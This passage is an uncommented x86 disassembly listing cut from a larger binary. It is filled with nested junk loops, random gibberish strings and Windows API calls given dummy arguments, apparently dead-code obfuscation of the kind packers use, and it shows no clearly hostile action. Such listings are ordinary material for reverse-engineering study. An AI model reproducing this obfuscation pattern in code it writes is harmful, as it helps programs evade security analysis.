cdq
mov dword [ebp - 0xaa0], eax
mov dword [ebp - 0xa9c], edx
push dword [ebp - 0xa9c]
push dword [ebp - 0xaa0]
lea ecx, [ebp - 0xcd0]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xcd0]
call fcn.004026e0
jmp 0x45fa21
jmp 0x45f9fb
jmp 0x45f9d5
jmp 0x45f9af
call fcn.00482be2
and eax, 0x80000007
jns 0x45fab3
dec eax
or eax, 0xfffffff8
inc eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x5bc], 0x7d2
jge 0x45fad5
push dword [ebp - 0x6dc]
call fcn.00482ed5
pop ecx
jmp 0x45faf1
or dword [ebp - 4], 0xffffffff
jmp 0x45fafb
mov dword [ebp - 0x52c], 0xb4
mov dword [ebp - 0x9d8], str.inwfqce_ognjxfk_lxy_qjqoj_gzpdw_dftm_zjor
cmp dword [ebp - 0x52c], 0xfc
jle 0x45fba0
and dword [ebp - 0x48c], 0
jmp 0x45fb35
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0x6b64
jge 0x45fb96
and dword [ebp - 0x10c], 0
jmp 0x45fb57
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x2a7a
jge 0x45fb94
mov eax, dword [ebp - 0x48c]
and eax, dword [ebp - 0x10c]
cdq
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], edx
push dword [ebp - 0x96c]
push dword [ebp - 0x970]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x45fb4a
jmp 0x45fb28
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x524], 0x4d50
jge 0x45fbbf
push dword [ebp - 0xae8]
call fcn.00482ed5
pop ecx
jmp 0x45fd4b
or dword [ebp - 4], 0xffffffff
jmp 0x45fd55
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x52c], 0xffffff2d
jge 0x45fd78
mov edx, dword [ebp - 0x9d8]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x45fd94
or dword [ebp - 4], 0xffffffff
jmp 0x45fd9e
cmp dword [ebp - 0x14], 0
jne 0x46047a
mov dword [ebp - 0x53c], 0x19c9
mov dword [ebp - 0x9e4], str.lgvkyf_nnlzia_uysfvttpo_hnmrebsyj
cmp dword [ebp - 0x53c], 0x1ab5
jle 0x4601b7
and dword [ebp - 0x2fc], 0
jmp 0x45fde2
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0xe53
jge 0x460097
mov dword [ebp - 0x534], 0x7950
mov dword [ebp - 0xaf0], str.khcbsau_fxdn_bzjceh_wkue_xipl_jbirkjrra_jxbhfxf_fvtay_oykcgqglc_kqouqsz_sshipjln
cmp dword [ebp - 0x534], 0x7b16
jle 0x45fec2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
and dword [ebp - 0x2f4], 0
jmp 0x45fe40
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x382c
jge 0x45fec2
and dword [ebp - 0x124], 0
jmp 0x45fe62
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x7760
jge 0x45febd
mov eax, dword [ebp - 0x2f4]
mov ecx, dword [ebp - 0x124]
shl eax, cl
cdq
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x97c], edx
push dword [ebp - 0x97c]
push dword [ebp - 0x980]
lea ecx, [ebp - 0xe80]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xe80]
call fcn.004026e0
jmp 0x45fe55
jmp 0x45fe33
and dword [ebp - 0x454], 0
jmp 0x45fed8
mov eax, dword [ebp - 0x454]
inc eax
mov dword [ebp - 0x454], eax
cmp dword [ebp - 0x454], 0x65b
jge 0x46004d
and dword [ebp - 0x12c], 0
jmp 0x45fefe
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x37b6
jge 0x460048
mov eax, dword [ebp - 0x454]
mov ecx, dword [ebp - 0x12c]
sar eax, cl
xor eax, dword [ebp - 0x2fc]
cdq
mov dword [ebp - 0x990], eax
mov dword [ebp - 0x98c], edx
mov dword [ebp - 0x5c4], 0x2bd9
mov dword [ebp - 0x6f4], str.hrkxuxv_xsxfw_qyhntba_deoco_ssrhintkh_bgmez_mzmflokph_fdiigeh_fcefabzyl_cxepmlieg
cmp dword [ebp - 0x5c4], 0x2d2d
jle 0x45ffc8
and dword [ebp - 0x134], 0
jmp 0x45ff65
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x442d
jge 0x45ffc8
and dword [ebp - 0x3e4], 0
jmp 0x45ff87
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0x73d3
jge 0x45ffc6
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x3e4]
shl eax, cl
cdq
mov dword [ebp - 0xab8], eax
mov dword [ebp - 0xab4], edx
push dword [ebp - 0xab4]
push dword [ebp - 0xab8]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x45ff7a
jmp 0x45ff58
push dword [ebp - 0x98c]
push dword [ebp - 0x990]
lea ecx, [ebp - 0xd00]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xd00]
call fcn.004026e0
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x5c4], 0x2af6
jge 0x46001d
mov edx, dword [ebp - 0x6f4]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x460039
or dword [ebp - 4], 0xffffffff
jmp 0x460043
jmp 0x45fef1
jmp 0x45fecb
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x534], 0x793d
jge 0x46006c
push dword [ebp - 0xaf0]
call fcn.00482ed5
pop ecx
jmp 0x460088
or dword [ebp - 4], 0xffffffff
jmp 0x460092
jmp 0x45fdd5
mov dword [ebp - 0x4cc], 0x2f5f
mov dword [ebp - 0x700], str.ynyysv_ayjkrpvw_agb_fnuqwqjq_vsvhdek_ndn_vnkz_iafkpnme_gqzsa_sqxykdqjm_rfdoswi_dwxlbt_faw_clqejegbl
cmp dword [ebp - 0x4cc], 0x2fac
jle 0x460168
and dword [ebp - 0x13c], 0
jmp 0x4600d1
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x6d76
jge 0x460151
and dword [ebp - 0x304], 0
jmp 0x4600f3
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x4c34
jge 0x46014c
mov eax, dword [ebp - 0x13c]
sub eax, dword [ebp - 0x304]
cdq
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x660], edx
push dword [ebp - 0x660]
push dword [ebp - 0x664]
lea ecx, [ebp - 0xff4]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xff4]
call fcn.004026e0
jmp 0x4600e6
jmp 0x4600c4
push 0x1956
push 0x19cb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x4cc], 0x2e8f
jge 0x460191
push dword [ebp - 0x700]
call fcn.00482ed5
pop ecx
jmp 0x4601ad
or dword [ebp - 4], 0xffffffff
jmp 0x4601b7
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0045e29c
pop ecx
mov dword [ebp - 0x544], 0x7c84
mov dword [ebp - 0xaf8], str.jnfwbriv_glcgpti_xqqvycjod_bbne_swfg_ipj_iqraqyq_tyrpinuh_jsiyorixp_wkljun_inkklwat_bwbceil
cmp dword [ebp - 0x544], 0x7cd5
jle 0x4602c4
and dword [ebp - 0x30c], 0
jmp 0x4601fc
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x7b85
jge 0x4602c4
and dword [ebp - 0x144], 0
jmp 0x460222
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x3eb1
jge 0x4602bf
and dword [ebp - 0x4ac], 0
jmp 0x460248
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0x813
jge 0x4602ba
and dword [ebp - 0x14c], 0
jmp 0x46026a
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x12ef
jge 0x4602b8
mov eax, dword [ebp - 0x144]
cdq
idiv dword [ebp - 0x4ac]
add edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x30c]
mov ecx, edx
sar eax, cl
cdq
mov dword [ebp - 0x66c], eax
mov dword [ebp - 0x668], edx
push dword [ebp - 0x668]
push dword [ebp - 0x66c]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x46025d
jmp 0x46023b
jmp 0x460215
jmp 0x4601ef
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x53c], 0x1716
jge 0x46040b
mov dword [ebp - 0x5cc], 0x3f6f
mov dword [ebp - 0x70c], str.megvj_ouy_wscofvos_tsinxfizn
cmp dword [ebp - 0x5cc], 0x41e9
jle 0x4603b7
push 0
push 0x262
push 0x337
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
and dword [ebp - 0x154], 0
jmp 0x460335
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x579a
jge 0x4603b7
and dword [ebp - 0x3ec], 0
jmp 0x460357
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x5438
jge 0x4603b2
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x3ec]
shl eax, cl
cdq
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], edx
push dword [ebp - 0x674]
push dword [ebp - 0x678]
lea ecx, [ebp - 0xd30]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xd30]
call fcn.004026e0
jmp 0x46034a
jmp 0x460328
push dword [ebp - 0x9e4]
call fcn.00482ed5
pop ecx
mov byte [ebp - 4], 0x37
cmp dword [ebp - 0x5cc], 0x3cab
jge 0x4603df
push dword [ebp - 0x70c]
call fcn.00482ed5
pop ecx
jmp 0x4603fb
mov dword [ebp - 4], 0x36
jmp 0x46040b
jmp 0x460427
or dword [ebp - 4], 0xffffffff
jmp 0x460431
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x544], 0x7961
jge 0x460454
mov edx, dword [ebp - 0xaf8]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x460470
or dword [ebp - 4], 0xffffffff
jmp 0x46047a
mov dword [ebp - 0x56c], 0x397e
mov dword [ebp - 0xad4], str.garkzd_gbovduw_gdapcblgs_vbeyo_txjtxry
cmp dword [ebp - 0x56c], 0x3b62
jle 0x4605aa
and dword [ebp - 0x15c], 0
jmp 0x4604b4
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x3431
jge 0x4605a0
and dword [ebp - 0x314], 0
jmp 0x4604da
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x45cd
jge 0x46059b
and dword [ebp - 0x164], 0
jmp 0x460500
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0xe50
jge 0x460596
and dword [ebp - 0x45c], 0
jmp 0x460526
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0x60b0
jge 0x460591
mov eax, dword [ebp - 0x15c]
cdq
idiv dword [ebp - 0x314]
mov eax, edx
cdq
idiv dword [ebp - 0x164]
xor edx, dword [ebp - 0x45c]
mov eax, edx
cdq
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x680], edx
push dword [ebp - 0x680]
push dword [ebp - 0x684]
lea ecx, [ebp - 0xeb0]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xeb0]
call fcn.004026e0
jmp 0x460519
jmp 0x4604f3
jmp 0x4604cd
jmp 0x4604a7
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x14], 1
jne 0x461008
mov dword [ebp - 0x614], 0x5da3
mov dword [ebp - 0x718], str.fmkpsnx_lcbpyf_itbtkh_axp
cmp dword [ebp - 0x614], 0x5df7
jle 0x4606a1
and dword [ebp - 0x174], 0
jmp 0x4605ee
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x740a
jge 0x4606a1
and dword [ebp - 0x16c], 0
jmp 0x460614
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0xcab
jge 0x46069c
and dword [ebp - 0x31c], 0
jmp 0x460636
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x4e5c
jge 0x460697
mov ecx, dword [ebp - 0x16c]
sub ecx, dword [ebp - 0x31c]
mov eax, dword [ebp - 0x174]
sar eax, cl
cdq
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], edx
push dword [ebp - 0x68c]
push dword [ebp - 0x690]
lea ecx, [ebp - 0xd60]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xd60]
call fcn.004026e0
jmp 0x460629
jmp 0x460607
jmp 0x4605e1
mov dword [ebp - 0x5dc], 0x38e1
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0x614], 0x5c8e
jge 0x4606ca
push dword [ebp - 0x718]
call fcn.00482ed5
pop ecx
jmp 0x4606e6
or dword [ebp - 4], 0xffffffff
jmp 0x4606f0
mov dword [ebp - 0x73c], str.jseuzyvjb_ycumldovt_gxrmyl_uvdvph_iduqkih_dykwhz_pdysvmco_jduanw_zzp_fgfa_cgqlovmw_hwsaptl_uyhrqbud
mov dword [ebp - 0x654], 0x5219
mov dword [ebp - 0x730], str.ilyewiw_gngvecxcn_uaumchiki_awoj_lbagllh_vuafxtljw_gdhmx_wow_tzovitbo_maw_zxnx
cmp dword [ebp - 0x654], 0x5541
jle 0x4607d6
and dword [ebp - 0x3f4], 0
jmp 0x460734
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x7239
jge 0x4607c9
and dword [ebp - 0x17c], 0
jmp 0x46075a
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x5a3d
jge 0x4607c4
and dword [ebp - 0x324], 0
jmp 0x46077c
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x7088
jge 0x4607c2
mov eax, dword [ebp - 0x3f4]
cdq
idiv dword [ebp - 0x17c]
or edx, dword [ebp - 0x324]
mov eax, edx
cdq
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x698], edx
push dword [ebp - 0x698]
push dword [ebp - 0x69c]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x46076f
jmp 0x46074d
jmp 0x460727
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
cmp dword [ebp - 0x5dc], 0x3bf2
jle 0x460c02
and dword [ebp - 0x1a4], 0
jmp 0x4607fc
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x2372
jge 0x460c02
mov dword [ebp - 0x554], 0x329c
mov dword [ebp - 0xb00], str.dztcz_tawby_gvzcvbfxp_svrt_mjgpbv_bmgo_cpqase_qdocptr_baiczmcig_xotk_jbnziwsx_tnkriqi_docft
cmp dword [ebp - 0x554], 0x35dd
jle 0x46092f
and dword [ebp - 0x184], 0
jmp 0x460846
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x73c5
jge 0x46092f
and dword [ebp - 0x494], 0
jmp 0x46086c
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0x23c1
jge 0x46092a
and dword [ebp - 0x18c], 0
jmp 0x460892
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x1545
jge 0x460925
and dword [ebp - 0x32c], 0
jmp 0x4608b8
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x4c3
jge 0x460920
mov eax, dword [ebp - 0x184]
cdq
idiv dword [ebp - 0x494]
mov eax, dword [ebp - 0x18c]
add eax, dword [ebp - 0x32c]
or eax, edx
cdq
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], edx
push dword [ebp - 0x6a4]
push dword [ebp - 0x6a8]
lea ecx, [ebp - 0xf64]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xf64]
call fcn.004026e0
jmp 0x4608ab
jmp 0x460885
jmp 0x46085f
jmp 0x460839
and dword [ebp - 0x464], 0
jmp 0x460945
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x41f7
jge 0x460bb8
mov dword [ebp - 0x54c], 0x5953
mov dword [ebp - 0x9f0], str.oddjje_bjn_npud_hiujyr_ctfnrsk_gpd_iefe_jun_isfzvys_ufvytp_vxur_rvalbzn_mvhcbjb
cmp dword [ebp - 0x54c], 0x5c82
jle 0x460a58
and dword [ebp - 0x194], 0
jmp 0x46098f
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x4bd5
jge 0x460a58
and dword [ebp - 0x3fc], 0
jmp 0x4609b5
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0xf07
jge 0x460a53
and dword [ebp - 0x19c], 0
jmp 0x4609db
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x29c7
jge 0x460a4e
and dword [ebp - 0x334], 0
jmp 0x4609fd
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x7235
jge 0x460a4c
mov eax, dword [ebp - 0x194]
cdq
idiv dword [ebp - 0x3fc]
mov eax, dword [ebp - 0x19c]
imul eax, dword [ebp - 0x334]
sub edx, eax
mov eax, edx
cdq
mov dword [ebp - 0x6b4], eax
mov dword [ebp - 0x6b0], edx
push dword [ebp - 0x6b0]
push dword [ebp - 0x6b4]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4609f0
jmp 0x4609ce
jmp 0x4609a8
jmp 0x460982
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x464]
shl eax, cl
cdq
mov dword [ebp - 0x6cc], eax
mov dword [ebp - 0x6c8], edx
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x54c], 0x5655
jge 0x460a96
mov edx, dword [ebp - 0x9f0]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x460ab2
or dword [ebp - 4], 0xffffffff
jmp 0x460abc
mov dword [ebp - 0x5d4], 0xa3b
mov dword [ebp - 0x724], str.hltajyddo_djaabrk_bxqxu_zag_zvvvz_rladfd_lmqn_ylupghq_sjfobylzz
cmp dword [ebp - 0x5d4], 0xbd1
jle 0x460b54
and dword [ebp - 0x1ac], 0
jmp 0x460af2
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x56fc
jge 0x460b54
and dword [ebp - 0x33c], 0
jmp 0x460b14
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x7913
jge 0x460b52
mov eax, dword [ebp - 0x1ac]
imul eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], edx
push dword [ebp - 0x6bc]
push dword [ebp - 0x6c0]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x460b07
jmp 0x460ae5
push dword [ebp - 0x6c8]
push dword [ebp - 0x6cc]
mov ecx, 0xab96a0
call fcn.0047e22e
mov dword [ebp - 4], 0x40
cmp dword [ebp - 0x5d4], 0x975
jge 0x460b8d
mov edx, dword [ebp - 0x724]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x460ba9
or dword [ebp - 4], 0xffffffff
jmp 0x460bb3
jmp 0x460938
mov dword [ebp - 4], 0x42
cmp dword [ebp - 0x554], 0x303d
jge 0x460bd7
push dword [ebp - 0xb00]
call fcn.00482ed5
pop ecx
jmp 0x460bf3
or dword [ebp - 4], 0xffffffff
jmp 0x460bfd
jmp 0x4607ef
mov dword [ebp - 4], 0x44
cmp dword [ebp - 0x654], 0x4f09
jge 0x460c25
mov edx, dword [ebp - 0x730]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x460c41
or dword [ebp - 4], 0xffffffff
jmp 0x460c4b
mov dword [ebp - 0x55c], 0x734f
mov dword [ebp - 0x9fc], str.bbyokvwvf_grhu_lnewtdfkv_yynvl_afb_stvup_bwyn_neiyii_zaktmzs_xirvn_kxeozo_dzwz_mek_fuke
cmp dword [ebp - 0x55c], 0x7672
jle 0x460d05
and dword [ebp - 0x1b4], 0
jmp 0x460c85
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x52d8
jge 0x460d05
and dword [ebp - 0x404], 0
jmp 0x460ca7
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0x3cfb
jge 0x460d00
mov eax, dword [ebp - 0x1b4]
sub eax, dword [ebp - 0x404]
cdq
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], edx
push dword [ebp - 0x6d4]
push dword [ebp - 0x6d8]
lea ecx, [ebp - 0xd90]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xd90]
call fcn.004026e0
jmp 0x460c9a
jmp 0x460c78
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00450f7a
pop ecx
mov dword [ebp - 4], 0x46
cmp dword [ebp - 0x55c], 0x721c
jge 0x460d2f
push dword [ebp - 0x9fc]
call fcn.00482ed5
pop ecx
jmp 0x460d4b
or dword [ebp - 4], 0xffffffff
jmp 0x460d55
mov dword [ebp - 0x61c], 0x5867
mov dword [ebp - 0x748], str.wnuz_hmifdk_lzyo_artovkj_wafvuxkia_noiagpye_diu_zbeoxhqd_imylv_oezsz_ogavf
cmp dword [ebp - 0x61c], 0x5bea
jle 0x460e43
and dword [ebp - 0x1c4], 0
jmp 0x460d8f
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x726e
jge 0x460e43
and dword [ebp - 0x1bc], 0
jmp 0x460db5
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x57ce
jge 0x460e3e
and dword [ebp - 0x344], 0
jmp 0x460dd7
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x666
jge 0x460e39
mov eax, dword [ebp - 0x1bc]
cdq
idiv dword [ebp - 0x344]
add edx, dword [ebp - 0x1c4]
mov eax, edx
cdq
mov dword [ebp - 0x6e4], eax
mov dword [ebp - 0x6e0], edx
push dword [ebp - 0x6e0]
push dword [ebp - 0x6e4]
lea ecx, [ebp - 0xb38]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xb38]
call fcn.004026e0
jmp 0x460dca
jmp 0x460da8
jmp 0x460d82
mov dword [ebp - 4], 0x48
mov dword [ebp - 0x564], 0x148
mov dword [ebp - 0xb08], str.iycybsh_hqmsrf_jhv_innni_qqltzhnh_avjvisgc_wwrntoh_pycrhcy_rjaztopzu_izesc_nqoog
cmp dword [ebp - 0x564], 0x282
jle 0x460f39
and dword [ebp - 0x4bc], 0
jmp 0x460e84
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0x649c
jge 0x460f39
and dword [ebp - 0x1cc], 0
jmp 0x460eaa
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x7278
jge 0x460f34
and dword [ebp - 0x34c], 0
jmp 0x460ecc
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x1b5a
jge 0x460f2f
mov eax, dword [ebp - 0x4bc]
mov ecx, dword [ebp - 0x1cc]
shl eax, cl
mov ecx, dword [ebp - 0x34c]
shl eax, cl
cdq
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6ec], edx
push dword [ebp - 0x6ec]
push dword [ebp - 0x6f0]
lea ecx, [ebp - 0xb50]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xb50]
call fcn.004026e0
jmp 0x460ebf
jmp 0x460e9d
jmp 0x460e77
cmp dword [ebp - 0x5dc], 0x357a
jge 0x460f55
mov edx, dword [ebp - 0x73c]
mov ecx, 0xab96a0
call fcn.0047f6dc
mov byte [ebp - 4], 0x49
cmp dword [ebp - 0x564], 0xd1
jge 0x460f71
push dword [ebp - 0xb08]
call fcn.00482ed5
pop ecx
jmp 0x460f8d
mov dword [ebp - 4], 0x48
jmp 0x460f9d
jmp 0x460fb9
or dword [ebp - 4], 0xffffffff
jmp 0x460fc3
mov dword [ebp - 4], 0x4c
cmp dword [ebp - 0x61c], 0x57f5
jge 0x460fe2
push dword [ebp - 0x748]
call fcn.00482ed5
pop ecx
jmp 0x460ffe
or dword [ebp - 4], 0xffffffff
jmp 0x461008
mov dword [ebp - 4], 0x4e
cmp dword [ebp - 0x56c], 0x3638
jge 0x461027
push dword [ebp - 0xad4]
call fcn.00482ed5
pop ecx
jmp 0x461043
or dword [ebp - 4], 0xffffffff
jmp 0x46104d
mov dword [ebp - 0x5e4], 0x69bd
mov dword [ebp - 0x754], str.xlsxide_iusj_xnif_ltuad_toonydxvt_nxzfzudv_qvogcds_lpjxvem_myurxvl_pyenz_onhwyb_prlx_msdaimwnx
cmp dword [ebp - 0x5e4], 0x6a0c
jle 0x46113d
and dword [ebp - 0x1dc], 0
jmp 0x461087
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x654a
jge 0x46113d
and dword [ebp - 0x1d4], 0
jmp 0x4610ad
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x6758
jge 0x461138
and dword [ebp - 0x40c], 0
jmp 0x4610cf
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0x343c
jge 0x461133
mov eax, dword [ebp - 0x1d4]
cdq
idiv dword [ebp - 0x40c]
mov eax, dword [ebp - 0x1dc]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 0x6f8], edx
push dword [ebp - 0x6f8]
push dword [ebp - 0x6fc]
lea ecx, [ebp - 0xb68]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xb68]
call fcn.004026e0
jmp 0x4610c2
jmp 0x4610a0
jmp 0x46107a
mov dword [ebp - 0x4f0], 0x40be
mov dword [ebp - 4], 0x50
cmp dword [ebp - 0x5e4], 0x6717
